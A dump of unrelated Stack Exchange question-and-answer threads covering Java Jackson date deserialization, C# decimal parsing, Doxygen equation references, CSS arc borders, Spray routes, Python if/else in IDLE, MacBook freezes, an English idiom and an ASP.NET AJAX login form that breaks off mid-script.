In example,tried with FORMAT\_HEURE\_JSON\_SERIALIZE\_2, but tried many others without success.
```
public static final String FORMAT_HEURE_JSON = new String("yyyy-MM-dd'T'HH:mm:ss.SSSZ");
public static final String FORMAT_HEURE_JSON_SERIALIZE = new String("EEE yyyy-MM-dd'T'HH:mm:ss.SSSZ");
public static final String FORMAT_HEURE_JSON_SERIALIZE_2 = new String("EEE, dd MMM yyyy HH:mm:ss zzz");
public static final String FORMAT_HEURE_JSON_SERIALIZE_3 = new String("yyyy-MM-dd HH:mm:ss");
```
At this point, i'm lost.
I don't know where and how to update my code.
1. Should i still use SimpleDateFormat after getting date from SOAP ws ?
2. Given the fact i'm using jackson 1.9, is my @JsonSerialize annotation good ? ( as well as the serializer ?)
3. Do i have to modify something on the rest server ?
Please can someone help me organize my thoughts ?
Kind regards,
Pierre | 2015/03/31 | [
"https://Stackoverflow.com/questions/29379623",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2243607/"
] | I guess you are using Jersey as a JAX-RS implementation. Have you left some details out from the stacktrace? Reading the stacktrace it seems the Jersey receives a String instead of a Date: `Can not construct instance of java.util.Date from String value 'Thu Jul 31 07:00:00 CEST 2014'`. If your class `com.rest.entities.MvtSwapsIn["datebl"])` declares a date, this behaviour is a bit strange.
Anyway, for Jackson to work, one suggestion is to register a Jackson ObjectMapper to the REST config with a ContextResolver (this applies to both Jackson 1.x and 2.x). Try putting a breakpoint in both the constructor and getContext()-method to see if they are invoked at runtime:
```
public class ObjectMapperConfigContextResolver implements ContextResolver<ObjectMapper> {
ObjectMapper mapper;
public ObjectMapperConfigContextResolver() {
mapper.setDateFormat(new SimpleDateFormat("<your pattern>"));
}
@Override
public ObjectMapper getContext(Class<?> type) {
return mapper;
}
```
}
The @Provider annotation should make JAX-RS pick up your configured ObjectMapper. If no you can do it manually:
```
@ApplicationPath("/")
public class RestApplication extends Application {
@Override
public Set<Class<?>> getClasses() {
Set<Class<?>> classes = new HashSet<>();
classes.add(ObjectMapperConfigContextResolver.class);
return classes;
}
}
```
It would be helpful if you provided some information from your pom.xml (if you are using Maven). | Thanks a lot Jim, Jon.
Thomas.
Even if i found a workaround, i will check what you wrote carefully.
Nevertheless,i finally managed to solve this.
As i was not able to understand if problem was on Serialization(JavaApp) i've decided to have a look on the other side Deserialization(REST WS).
**Quick reminder :**
SOAP WS ----> JAVA APP ----> REST WS
Date received from SOAP WS was exactly received as String, its value was
>
> 2014-07-31 07:00:00.0
>
>
>
Within **JAVA App**, i did
```
DateFormat originalFormat = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss.S");
DateFormat targetFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
Date date = originalFormat.parse(deliverydate);
String formattedDate = targetFormat.format(date);
msi.setDatebl(date);
```
At this point, i had still the same error until i saw that JSON sent to REST WS was
```
{"id":87434958,"datebl":"Thu Jul 31 07:00:00 CEST 2014","price":15.45,"model":"AAA"}
```
\*Some parts of JSON Object were cutted.
Within **REST WS**, i've added the following to the pojo
(Probably one of them is necessary) and created a custom deserializer as follows :
```
@JsonDeserialize(using = CustomJsonDateDeserializer.class)
private java.util.Date datebl;
@JsonDeserialize(using = CustomJsonDateDeserializer.class)
public void setDatebl(java.util.Date datebl) {
this.datebl = datebl;
}
import java.io.IOException;
import java.text.DateFormat;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.Locale;
import org.codehaus.jackson.JsonParser;
import org.codehaus.jackson.JsonProcessingException;
import org.codehaus.jackson.map.DeserializationContext;
import org.codehaus.jackson.map.JsonDeserializer;
public class CustomJsonDateDeserializer extends JsonDeserializer<Date>
{
@Override
public Date deserialize(JsonParser jsonparser,
DeserializationContext deserializationcontext) throws IOException, JsonProcessingException {
DateFormat formatter = new SimpleDateFormat("EEE MMM dd HH:mm:ss z yyyy", Locale.US);
String dateStr = jsonparser.getText();
try {
return (Date)formatter.parse(dateStr);
} catch (ParseException e) {
throw new RuntimeException(e);
}
}
}
```
At this point, update has been done properly. Date was found in database in a proper format.
**Readings :**
[How to convert "Mon Jun 18 00:00:00 IST 2012" to 18/06/2012?](https://stackoverflow.com/questions/11097256/how-to-convert-mon-jun-18-000000-ist-2012-to-18-06-2012) |
4,567 | I am writing an essay on **project management** within IT and in my introduction I will give a brief description of project management, to being my essay I was looking at using one of these:
>
> 1. Project management is 'A unique set of co-ordinated activities, with definite starting and finishing points, undertaken by an individual
> or organisation to meet specific objectives within a defined schedule of cost and performance parameters'
> 2. Almost by definition, innovation relies on project management (Wheatley 2004)
>
>
>
Would either (#1 vs #2) of these quotes be an appropriate way to start an essay? | 2011/12/07 | [
"https://writers.stackexchange.com/questions/4567",
"https://writers.stackexchange.com",
"https://writers.stackexchange.com/users/2972/"
] | Yes, I suppose, especially, the second quote. By the way, you did not attribute the first quote to anyone. | It is a good idea to begin an essay with some interesting quotes or sentences. You have to make your starting sentence attractive to grab the reader's attention. |
53,565,271 | I am currently developing a Twitter content-based recommender system and have a word2vec model pre-trained on 400 million tweets.
How would I go about using those word embeddings to create a document/tweet-level embedding and then get the user embedding based on the tweets they had posted?
I was initially intending on averaging those words in a tweet that had a word vector representation and then averaging the document/tweet vectors to get a user vector but I wasn't sure if this was optimal or even correct. Any help is much appreciated. | 2018/11/30 | [
"https://Stackoverflow.com/questions/53565271",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/8111837/"
] | Averaging the vectors of all the words in a short text is one way to get a summary vector for the text. It often works OK as a quick baseline. (And, if all you have, is word-vectors, may be your main option.)
Such a representation might sometimes improve if you did a weighted average based on some other measure of relative term importance (such as TF-IDF), or used raw word-vectors (before normalization to unit-length, as pre-normalization raw magnitudes can sometimes hints at strength-of-meaning).
You could create user-level vectors by averaging all their texts, or by (roughly equivalently) placing all their authored words into a pseudo-document and averaging all those words together.
You might retain more of the variety of a user's posts, especially if their interests span many areas, by first clustering their tweets into N clusters, then modeling the user as the N centroid vectors of the clusters. Maybe even the N varies per user, based on how much they tweet or how far-ranging in topics their tweets seem to be.
With the original tweets, you could also train up per-tweet vectors using an algorithm like 'Paragraph Vector' (aka 'Doc2Vec' in a library like Python gensim.) But, that can have challenging RAM requirements with 400 million distinct documents. (If you have a smaller number of users, perhaps they can be the 'documents', or they could be the predicted classes of a FastText-in-classification-mode training session.) | You are on the right track with averaging the word vectors in a tweet to get a "tweet vector" and then averaging the tweet vectors for each user to get a "user vector". Whether these average vectors will be useful or not depends on your learning task. Hard to say if this average method will work or not without trying since it depends on how diverse is your data set in terms of variation between the words used in tweets by each user. |
379,453 | My MacBook Pro (15-inch, Retina, Mid 2015, fresh install of latest Catalina) freezes randomly. It requires a hard shutdown (power button for > 5 secs) and then it takes a while to turn on. The MacBook had the logic board, display and lid replaced 18 months ago, has only internal graphics and the SSD is still original.
**When it started**
* At least 6-8 months ago
* Frequency seems to increase slowly but is still quite random
* Just had 2 weeks crash free right now followed by crashes every other day - Last summer it crashed once a week at most
**When it freezes**
* Randomly, but most of the cases within 2 minutes of waking up after sleeping overnight (sometimes after shorter sleeps)
* Sometimes freezes few minutes after restarting from a previous crash
* Most likely not related to the apps that are open or currently focused
* Also froze running or booting into Diagnostic mode
* Even if I'm not doing anything, just leaving it idle
**Frozen behavior**
* Display on (external display too, both HDMI and MDP), content of the screen visible, won't go to sleep or turn off by itself
* Trackpad, mouse and keyboard not responding (tried also bluetooth and usb)
* Playback shuts down or loops a short sequence (not sure now)
* Both on AC (multiple chargers) and on battery
**Shutting down frozen state**
* Power button >5 secs is always successful
**Turning on after crash**
* Usually not possible to turn back on immediately
* Combination of long power button presses takes usually succeeds after a while
* AC or battery no difference
* Sometimes it takes longer (or a few minutes break) before it turns on
* After the power button is pressed the **fans start spinning** slowly but the display is dead and the **laptop does not boot**
* To turn off the fans a >5secs power button press is required
* Repeating this process a few minutes leads to a successful startup
* I vaguely remember that once or twice a funny icon appeared instead of the Apple boot logo (most likely the first or second from <https://support.apple.com/en-us/HT204156>), turning off for an hour and turning on fixed it
### Other observations
**Bluetooth**
* Bluetooth sometimes reported as unavailable (strikethrough BT icon in menu bar), but didn't happen at all last few months
* BT headphones playback skips every few minutes (the headphones play well with my phone, but it still can be them, I do not have other BT headphones to verify)
### Things I've tried
**Disk Utility First Aid**
* Shows no errors
**Diagnostic mode**
* When I run it after a crash it may freeze too (although quite rarely) - with progress bar, on the language selection screen, anywhere really
* When the diagnostic mode successfully runs it shows no errors
**NVRAM/SMC reset**
* They seem to help fix the issue for a few days
* When the crashing/freezing starts again it is more likely to happen quite soon again
**File Vault**
* Turning off File Vault didn't help. Currently on a APFS Case Sensitive filesystem.
**Complete OS upgrade and reinstall**
* Happens on both Mojave and Catalina
* A fresh installation with minimum apps (few work apps, nothing fancy) does not help
**System logs**
* They show nothing interesting, but I will try to look for events around BOOT\_TIME for few more crashes if a pattern appears.
* I have turned on showing seconds on the menu bar clock to pinpoint exact time of the crash and then went through all logs available in console after a crash. There were no records for 10 seconds around the time the display froze.
**Turning off Bluetooth**
* No help. Crashed.
**Swap SSD**
* A new OWC Aura SSD freezes too.
### Things I'd like to try
**Swap battery**
* I'm eligible for a free battery exchange so that's an affordable next step
**Turn of Wifi remove Wifi board**
* Not sure if I can remove the wifi board and boot the OS though.
* Currently I have the wifi switched off and waiting for another crash.
**Different logic board**
* Not sure where I can easily borrow one for testing purposes though.
### Any other suggestions or questions please?
Thanks a lot for any input! Much appreciated you made it this far. | 2020/01/10 | [
"https://apple.stackexchange.com/questions/379453",
"https://apple.stackexchange.com",
"https://apple.stackexchange.com/users/358715/"
] | I know this is an old topic but I have been having the same issue and was finally able to find a solution after trying quite a few different things. For me, **turning off Hardware Acceleration within my browser (Chrome) has completely eliminated the freezing.** It had ramped up to happening almost every day, but since turning off Hardware Acceleration I haven't had a single crash in 2 weeks.
I hope you have been able to resolve this problem for yourself already, and if not, I hope this trick works for you too! | I have exact same issue. Keeps happening for two weeks now and I can't pinpoint what is causing it. But if I leave computer for a while It would be frozen when I'm back. Seem you have tried almost everything without success. |
16,898,069 | The input string in textbox is, say, $10.00 . I call
```
decimal result;
var a = decimal.TryParse(text, NumberStyles.AllowCurrencySymbol, cultureInfo, out result);
```
`cultureInfo` is known (`en-US`). Why does `decimal.tryParse` returns false?
Thank you. | 2013/06/03 | [
"https://Stackoverflow.com/questions/16898069",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1175737/"
] | The problem is you've allowed the currency symbol itself, but you've omitted other properties that are required to parse it correctly (decimal point, for example.) What you really want is `NumberStyles.Currency`:
```
decimal.TryParse("$10.00", NumberStyles.Currency, cultureInfo, out result);
``` | Try this, you need to include `NumberStyles.Number` in the bitwise combination of values for the `style` argument:
```
decimal result;
var a = decimal.TryParse(text, NumberStyles.Number | NumberStyles.AllowCurrencySymbol, cultureInfo, out result);
``` |
55,872,178 | Why does this code throw an invalidAssignmentOperator error on the \* and + operators?
```
public static Function<Integer, Double> tariff = t -> {
if (t = 500) {
t * t;
} else {
t + t;
}
};
``` | 2019/04/26 | [
"https://Stackoverflow.com/questions/55872178",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/11416969/"
] | There are several issues with your code:
1. Equality check needs `==` : `t=500` should be `t==500`
2. When you have a complex code as lambda, the `return` statement is not implicit: so `t*t` does not return implicitly.
3. By multiplying/adding two integers you're trying to return a `integer` value while your expected return type is `double`, so compilation issues there.
Something like this would work:
```java
public static Function<Integer, Integer> tariff = t -> {
if (t == 500) {
return t * t;
} else {
return t + t;
}
};
```
Implicit return would work for something like this:
```java
public static Function<Integer, Integer> tariff = t -> (t == 500) ? t * t : t + t;
``` | Your function is throwing an invalidAssignmentOperator because you are not actually assigning `t*t` or `t+t` to anything. You can try using `t*=t` and `t+=t` so that it will actually assign to `t`
Your method also is not returning anything and it should. An even better solution to my idea above would be to just return those values:
```
public static Function<Integer, Double> tariff = t -> {
if(t=500) {
return t*t;
} else {
return t+t;
}
};
```
Also, be sure to properly space out your code as shown by my code. It makes it much easier to read. |
39,930,671 | With `Firebase` database and user object, it's possible to load every information from the database whenever the user navigates through different activities but to save some time it seems more effective for the data to be loaded on the `MainActivity` and put into one object (like `user.setProfile`) and for that object to be accessed from every `Activity`. Is this possible and how ? (a simple example would be very appreciated ). | 2016/10/08 | [
"https://Stackoverflow.com/questions/39930671",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/6798995/"
] | You should have a try for the Singleton design pattern, and don't forget about the thread safe problem.
Reference: [Singleton pattern](https://en.wikipedia.org/wiki/Singleton_pattern) | I would like to suggest having a `static` object declared in the launching `Activity`. Then you can get the values from all other `Activity` once its populated with the values fetched from Firebase. |
21,852,754 | I am trying to convert given number of minutes into milliseconds.
For eg: 15mins or 20mins or 44mins should be converted to milliseconds programmatically.
I tried the below:
```
Calendar alarmCalendar = Calendar.getInstance();
alarmCalendar.set(Calendar.MINUTE,15);
long alarmTime = alarmCalendar.getTimeInMillis();
Log.e("Milli", "seconds"+alarmTime);
```
This doesn't give the right value? What is the best way to convert this? | 2014/02/18 | [
"https://Stackoverflow.com/questions/21852754",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1443051/"
] | ```
int minutes = 42;
long millis = minutes * 60 * 1000;
``` | This gives you the time in milli.
```
long currentTime = System.currentTimeMillis()
Handler handler = new Handler();
long waitTime = currentTime + (15*60*1000);
handler.postDelayed(new Runnable() {
public void run() {
// Alert or do something here.
}
}, waitTime);
```
This piece of code sleeps for 15 minutes and then executes the handler's run method. This way you can raise an alarm etc... |
136,403 | I've been trying to find tutorials to help me understand direction handles in relation to corner points. The screenshot below shows a corner point and direction handle but it is only on one side? I was following a tutorial of tracing this image and in the video I could see two direction handles on this corner point but for some reason mine only has only has one direction handle.
[](https://i.stack.imgur.com/AUCvP.png) | 2020/04/11 | [
"https://graphicdesign.stackexchange.com/questions/136403",
"https://graphicdesign.stackexchange.com",
"https://graphicdesign.stackexchange.com/users/146139/"
] | Do it like this instead.
1. When you get to a corner anchor, click and drag out the curve handle, do not release the mouse click
2. Then, hold down `Alt / Option`
3. Drag to position the second handle in the direction you want to continue, release both the mouse click and `Alt / Option` key, and carry on
4. With the Direct Selection tool `A` click on the corner anchor point. You should see both handles
[](https://i.stack.imgur.com/7Gm6D.gif)
If you want to practice your skills, [The Bézier Game](https://bezier.method.ac/) is fun! I have no affiliation with the site. | You can get both handles back with the **Anchor point tool** `Shift` +`C`
Just click on the point and drag
This tool can also move each handle independently
[](https://i.stack.imgur.com/xHUuf.gif) |
43,191,252 | I am currently documenting some advanced simulation tools using Doxygen. I would like to be able to refer to equations within the HTML documentation.
To illustrate the problem. Perform the following
```
doxygen -g Doxyfile
sed -i 's/^EXTRA_PACKAGES.*/EXTRA_PACKAGES = amsmath amsfonts/g' Doxyfile
sed -i 's/^LATEX_BATCHMODE.*/LATEX_BATCHMODE = YES/g' Doxyfile
```
You now have a `Doxyfile`, which can be used for a project containing formulas.
In the same directory put the following
**sample.h:**
```
/**
* @file sample.h
*/
/**
* @mainpage Some example
*
* Some complicated math:
* \f{equation}{\label{eq:1}
* p(\vec{r}_{0},t) = \ldots
* \f}
*/
/**
* The function computes the pressure based on \f$\ref{eq:1}\f$
*
* @param rho
* @param v
* @param r
* @param t
*
* @return
*/
int CalcPressure(float rho, float v[3], float r[3], float t);
```
Execute the following to generate LaTeX documentation.
```
doxygen Doxyfile
cd latex
make
```
A reference to equation (1.1) is put in the documentation for the `CalcPressure` function.
The HTML documentation on the other hand contains a '??' reference to the formula. Is it possible to tweak doxygen to run twice for the generation of formulas, such that the image created contains the reference '(1.1)' rather than '??'.
Another solution may also work. I know how to include references to functions in another LaTeX document by using the `xr` package, <http://www.cheshirekow.com/wordpress/?p=335>
I could use this procedure, if I could tell Doxygen to not delete the `_formulas.aux` file, rename the file and pass this as input using the `xr` package, but I have no idea of how to tell Doxygen not to delete temporary files.
I hope there is a solution for creating references to formulas. Help please | 2017/04/03 | [
"https://Stackoverflow.com/questions/43191252",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2386026/"
] | You seem to be looking for the [`filter` Array method](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter) that returns an array of the matched elements, instead of an boolean value whether some matched. | The easiest way to do it would be this:
```
keyword_array.filter(keyword => searchString.includes(keyword));
```
You can learn more about `filter` [here](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/filter). I highly recommend learning about how to use `map`, `reduce` and `filter`. They are your best friends. |
10,440,255 | I need to show a big image that was searched by google throu simple\_html\_dom.php
```
include_once( "simple_html_dom.php" );
$key="alexis";
$html = new simple_html_dom();
$html=file_get_html('http://images.google.com/images?as_q='. $key .'&hl=en&imgtbs=z&btnG=Search+Images&as_epq=&as_oq=&as_eq=&imgtype=&imgsz=m&imgw=&imgh=&imgar=&as_filetype=&imgc=&as_sitesearch=&as_rights=&safe=images&as_st=y');
foreach($html->find('a') as $element) {
preg_match('#(?:http://)?(http(s?)://([^\s]*)\.(jpg|gif|png))#', $element->href, $imagelink);
echo $imagelink['1'];
}
```
Results:
>
> <http://beautiful-pics.org/wp-content/uploads/2011/06/Alexis_Bledel_4.jpghttp://liberalvaluesblog.com/wp-content/uploads/2009/03/alexis-bledel-gg02.jpghttp://cdn0.sbnation.com/imported_assets/119825/alexis.jpghttp://www.hdwallpapersarena.com/wp-content/uploads/2012/04/alexis-dziena-3163.jpghttp://www.nba.com/media/celtics/alexis-diary300422.jpghttp://beautiful-pics.org/wp-content/uploads/2011/06/Alexis_Bledel_5.jpghttp://www.popcrunch.com/wp-content/uploads/2009/03/amanda-alexis-lee2.jpghttp://www.tvfunspot.com/forums/images/realityshows/survivor16/alexis.jpghttp://access.nscpcdn.com/gallery/i/b/bledel/AlexisBlei_4705661.jpghttp://2.bp.blogspot.com/_UaLWp72nij4/S_cccrvmFsI/AAAAAAAAMM8/yjVXCl3sHT4/s1600/alexis-bledel.jpghttp://3.bp.blogspot.com/-RFJoXjDSnmQ/T4cPwZwgrjI/AAAAAAAABlY/aNlgZ3ZFknU/s1600/Alexis%252BBledel-03.jpghttp://images2.fanpop.com/images/photos/4200000/Alexis-Bledel-alexis-bledel-4218179-590-768.jpghttp://www.hawktime.com/sitebuildercontent/sitebuilderpictures/AlexisArguello.jpghttp://4.bp.blogspot.com/--iAuASq2RFc/TveqvJ2j8vI/AAAAAAAABvg/RzTmjASqK_0/s400/alexis-bledel.jpghttp://www.mtv.com/news/photos/a/american_idol/09/top36/10_alexis_grace.jpghttp://images.buddytv.com/articles/the-bachelor/images/alexis.jpghttp://cdn01.cdnwp.thefrisky.com/wp-content/uploads/2010/02/03/vanity-fair-020310-main.jpghttp://www.chorva.net/wp-content/uploads/2009/04/alexis-bledel.jpghttp://images2.fanpop.com/images/photos/3500000/Alexis-Bledel-alexis-bledel-3523783-454-600.jpghttp://www.pocandpoch.com/wp-content/gallery/alexis-and-lauren/alexis-bledel.jpg>
>
>
>
But i need a link just for the first one image , thanks | 2012/05/03 | [
"https://Stackoverflow.com/questions/10440255",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1373752/"
] | You can use multiple classes in CSS (and Sizzle) selectors like .class1.class2. Just search for elements specifically with both classes and test the length:
```
$(document).ready(function() {
$("form#filterForm").submit(function () {
var type = $("select#typeList option:selected").val();
var style = $("select#styleList option:selected").val();
var items = $(".container .content ul li").filter('.' + type + '.' + style);
if (!items.length) {
alert('no items...');
}
});
});
``` | Have you looked into the hasClass JQUERY function?
<http://api.jquery.com/hasClass/>
It sounds like that's what you're looking for...If not let me know and I'll try to help further. |
18,269,065 | I need to make a box using css containing arc as shown in image . I want to do this using pure CSS. I am able to make arcs but not able to draw line. Here is my html and css code.
```html
<style type="text/css">
.left_arc{
border-bottom: 1px solid #D0BFA6;
border-radius: 0 0 360px 0;
border-right: 1px solid #D0BFA6;
float: left;
height: 11px;
padding-top: 1px;
width: 11px;
}
.right_arc{
border-bottom: 1px solid #D0BFA6;
border-left: 1px solid #D0BFA6;
border-radius: 0 0 0 360px;
float: left;
height: 11px;
padding-top: 1px;
width: 11px;
}
.text_arc {
background: none repeat scroll 0 0 #FEEEEA;
border-top: 1px solid;
color: #A29061;
float: left;
font-family: times new roman;
font-size: 16px;
font-style: italic;
letter-spacing: 1px;
padding-left: 18px;
padding-top: 6px;
text-transform: uppercase;
width: 88px;
}
</style>
<div class="main_style">
<div class="left_arc"></div>
<div class="text_arc">Canada</div>
<div class="right_arc"></div>
</div>
```
Here is the output of my code.  | 2013/08/16 | [
"https://Stackoverflow.com/questions/18269065",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/930026/"
] | **[LIVE DEMO](http://jsbin.com/apoyak/4/edit)**

Simplify your HTML markup
and create crazy things using the **CSS pseudo `:before` and `:after` selectors**
**HTML**
```
<div class="main_style">
<div class="text">Canada</div>
</div>
<div class="main_style">
<div class="text">USA</div>
</div>
```
**CSS:**
```
.main_style {
background: none repeat scroll 0 0 #FEEEEA;
font: italic normal normal 16px/1em Times, "Times New Roman", serif;
text-transform: uppercase;
text-align:center;
letter-spacing: 1px;
color: #A29061;
position:relative;
overflow:hidden;
float: left;
}
.text{
border: 1px solid #D0BFA6;
padding:8px 20px 4px;
}
.main_style:before, .main_style:after{
content:'';
position:absolute;
top:-13px;
width:24px;
height:24px;
background:#fff;
border: 1px solid #D0BFA6;
border-radius: 42px;
}
.main_style:before{
left:-13px;
}
.main_style:after{
right:-13px;
}
``` | You can just create a border with negative radius for only the top corners. See [this post for more info...](https://stackoverflow.com/questions/11033615/inset-border-radius-with-css3) |
15,744,392 | For POST and PUT requests I use the following syntax:
```
put {
entity(as[CaseClass]) { entity =>
returnsOption(entity).map(result => complete{(Created, result)})
.getOrElse(complete{(NotFound, "I couldn't find the parent resource you're modifying")})
}
}
```
Now for GET requests I'm trying to do the same, but I can't get it to work analogously to my PUT solution. What is a good way to do this with GET requests?
Update:
I've got this working with the following hack:
```
(get & parameters('ignored.?)) {
//TODO find a way to do this without ignored parameters
(ingored:Option[String]) => {
returnsOption().map(result => complete(result))
.getOrElse(complete{(NotFound, "")})
}
}
```
I'd expect something similar to be possible with `() =>` or `ctx =>` , but that doesn't fly, because it gives trouble with marshalling:
```
... could not find implicit value for evidence parameter of type spray.httpx.marshalling.Marshaller[(spray.http.StatusCodes.ClientError, String)]
}).getOrElse(ctx.complete{(NotFound, "")})
^
```
Could it be that this somehow relates to the fact that I'm using spray-json? | 2013/04/01 | [
"https://Stackoverflow.com/questions/15744392",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/291244/"
] | Use *[HttpResponse](https://github.com/spray/spray/blob/master/spray-http/src/main/scala/spray/http/HttpMessage.scala#L225)* like this for example
```
complete{
HttpResponse(StatusCodes.OK, HttpBody(ContentType(`text/html`), "test test: " + System.currentTimeMillis.toString))
}
```
**Update:** I've been using Spray for a while now. Turned out there is better way:
```
complete {
StatusCodes.BandwidthLimitExceeded -> MyCustomObject("blah blah")
}
``` | This code should work:
```
get {
ctx =>
ctx.complete(returnsOption())
}
```
If don't use `ctx =>` at the start, your code might only be executed at route build time.
Here you can find some explanations: [Understanding the DSL Structure](http://spray.io/documentation/spray-routing/advanced-topics/understanding-dsl-structure/) |
39,302,309 | I am struggling with If Else statement in Python 3.5.2 which I recently installed. I am using IDLE to run my code.
Here is my code below [(screenshot)](https://i.stack.imgur.com/jJOVl.png).
[](https://i.stack.imgur.com/jJOVl.png)
I get syntax error as soon as I press "Enter" key after "Else". I have tried playing with indentation, colon, etc but I am getting error on all combinations I have tried so far. I have seen similar questions (for prior version of python) here as well as on Quora but none of those solutions are working for me. Please help! (I am using MacBook - in case that changes anything). | 2016/09/03 | [
"https://Stackoverflow.com/questions/39302309",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/6789529/"
] | Take the example of #3:
Python is seeing the code as
```
if x==10:
print("X is 10")
else:
```
The indentation on this is clearly messed up. But it looks right to you, because the `>>>` of the prompt is pushing the first line over a few characters, making it look like it is right. But even though it looks that way in the shell, python still sees `if x==10:` as being in `col 0`, and thinks that `print("X is 10")` is indented by 8 spaces and `else:` is indented by 4 spaces.
When you typed it in to the edit window, the indentation actually turned out differently, like so
```
if x==10:
print("X is 10")
else:
```
which is actually correct (ignoring the fact that there is nothing under `else`). | "elif" is a shorter way of saying "else if". if the "if" statement isnt true, "elif" can be used to tell the computer what to do if the conditions are fulfilled |
167,484 | >
> Could you please what the meaning of "**punch to the gut**" is?
>
>
>
The text is here:
>
> Two hours later Dad had blocked off half the kitchen
> with plywood sheets. The owl convalesced there for several weeks. We
> trapped mice to feed it, but sometimes it didn’t eat them, and we couldn’t
> clear away the carcasses. The smell of death was strong and foul, **a punch
> to the gut**.
>
>
>
*Educated* Tara Westover | 2018/05/25 | [
"https://ell.stackexchange.com/questions/167484",
"https://ell.stackexchange.com",
"https://ell.stackexchange.com/users/74396/"
] | A *punch to the gut* (or sometimes called *gut-punch* or *emotional gut punch*) is pretty much synonymous with something that is *gut-wrenching*, which is easier to find in dictionaries. [Collins](https://www.collinsdictionary.com/dictionary/english/gut-wrenching) says that **gut-wrenching events or experiences make you feel very sad or upset**.
TFD lists a related idiom, [*kick in the gut*](https://idioms.thefreedictionary.com/kick+in+the+guts), and defines it as **a severe blow to one's body or spirit**.
A [2011 book](https://books.google.com/books?id=pioPC9OiMdMC) by Dixon & Adamson says:
>
> It's meant to be a real gut punch — a rational argument designed to evoke an emotional reaction.
>
>
>
The word *guts* is an interesting word in English; it has several meanings, one of which is “an innermost emotional response” (see [Wordnik](https://www.wordnik.com/words/gut), for example). So a punch (or kick) in the guts is something that affects you strongly in an emotional sense. | It is a figurative use. The effect of the odor was overpowering, having the force of a punch to the abdomen. It "takes your breath away". |
63,021,476 | Hello this is a problem I want to resolve but I am stuck.
Given a list of urls I want to do the following :
1. extract the name within the url
2. match the name found from the url to a dictionary of existing names
3. have 1 dictionary of all the names found, an split the found names into 2 separate dictionaries, 1 associated to the names found in the dictionary and another associated to no names found
example:
```
INPUT :
urls = ['www.twitter.com/users/aoba-joshi/$#fsd=43r',
'www.twitter.com/users/chrisbrown-e2/#4f=34ds',
'www.facebook.com/celebrity/neil-degrasse-tyson',
'www.instagram.com/actor-nelson-bigetti']
# the key is the ID associated to the names, and the values are all the potential names
existing_names = {1 : ['chris brown', 'chrisbrown', 'Brown Chris', 'brownchris'] ,
2 : ['nelson bigetti', 'bigetti nelson', 'nelsonbigetti', 'bigettinelson'],
3 : ['neil degrasse tyson', 'tyson neil degreasse', 'tysonneildegrasse', 'neildegrassetyson']}
OUTPUT :
# names_found will be a dictionary with the key as the URL and the values as the found name
names_found = {'www.twitter.com/users/aoba-joshi/$#fsd=43r' : 'aoba joshi',
'www.twitter.com/users/chrisbrown-e2/#4f=34ds' : 'chris brown',
'www.facebook.com/celebrity/neil-degrasse-tyson' : 'neil degrasse tyson',
'www.instagram.com/actor-nelson-bigetti' : 'nelson bigetti'}
# existing_names_found is a dictionary where the keys are the found name, and the values are the corresponding list of names in the existing names dictionary
existing_names_found = {'chris brown' : ['chris brown', 'chrisbrown', 'Brown Chris', 'brownchris'],
'neil degrasse tyson' : ['neil degrasse tyson', 'tyson neil degreasse', 'tysonneildegrasse', 'neildegrassetyson'],
'nelson bigetti' : ['nelson bigetti', 'bigetti nelson', 'nelsonbigetti', 'bigettinelson']}
# new_names_found is a dictionary with the keys as the new name found, and the values as the url associated to the new found name
new_names_found = {'aoba joshi' : 'www.twitter.com/users/aoba-joshi/$#fsd=43r'}
``` | 2020/07/21 | [
"https://Stackoverflow.com/questions/63021476",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/11849460/"
] | well ... if i got correctly what u want to do ... here is something what should work
```
for link in links_list:
link_split = link.split('/')
name_list = link_split[2].split('-') # makes from chris-brown-xx => chrisbrownxx
name = ""
for part in name:
name + part
for (key, value) in existing_names: # check if the name is in the list
for name_x in value:
name_x = # same as I did with name_list, but this time with " "
if name_x in name.lower():
# append it to new_names_found
```
(Sorry in advance, I am typing this on my phone, but hopefully it will be helpful :))
(alternatively, you can try to look if it contains both parts of a text ... but that would fail on something like this -> "Luke Luk" and checking it on "Luke O'Niel") ... There is alot of proble | Do get you started, here are the steps to make this program:
1. Create a `for` to look through each individual url and using the `split('/')` function break every url into a list and search for the 2 value in that list.
2. Then you can use another `for` loop to go through the keys and values of the `existing_names` dictionary. Within that loop include an `if` statement that compares the name you extracted to the names present.
3. Then you add those values to the dictionaries or lists you want. |
61,026,145 | In my Login Page I want to show error message when user enter wrong email and password without refreshing page. I am trying to send data from view to controller using ajax. But in the controller, `user.Email` and `user.Password` are null when I debug, but the Ajax call works. I want to know what is wrong there?
```html
<div class="login-container">
<div class="row">
<div class=" col-md-12 col-sm-12 col-12 login-form-1">
<h2>Login</h2>
<p>Log into your account</p>
@using (Html.BeginForm("Login", "Account", FormMethod.Post))
{
<div id="alertmessage">
<div class=" alert alert-danger">
<span>
Email or Password is incorrect
</span>
</div>
</div>
@Html.AntiForgeryToken()
<div class="form-group col-md-12 col-sm-12 col-12">
<input id="Email" type="text" class="form-control" placeholder="Your Email *" value="" name="Emaillog" />
</div>
<div class="form-group col-md-12 col-sm-12 col-12 ">
<input id="Password" type="password" class="form-control" placeholder="Your Password *" value="" name="Passwordlog" />
</div>
<div class="form-group col-md-12 col-sm-12 col-12">
<input type="submit" class="btnSubmit" value="Login now" id="logbut" />
</div>
<div class="form-group col-md-6 col-sm-6 col-6">
<a href="#" class="ForgetPwd">Forget Password?</a>
</div>
}
</div>
</div>
</div>
```
```
$(document).ready(function () {
$("#alertmessage").hide()
$("#logbut").click(function (e) {
e.preventDefault();
// collect the user data
var data = {};
data.Email = $("#Email").val();
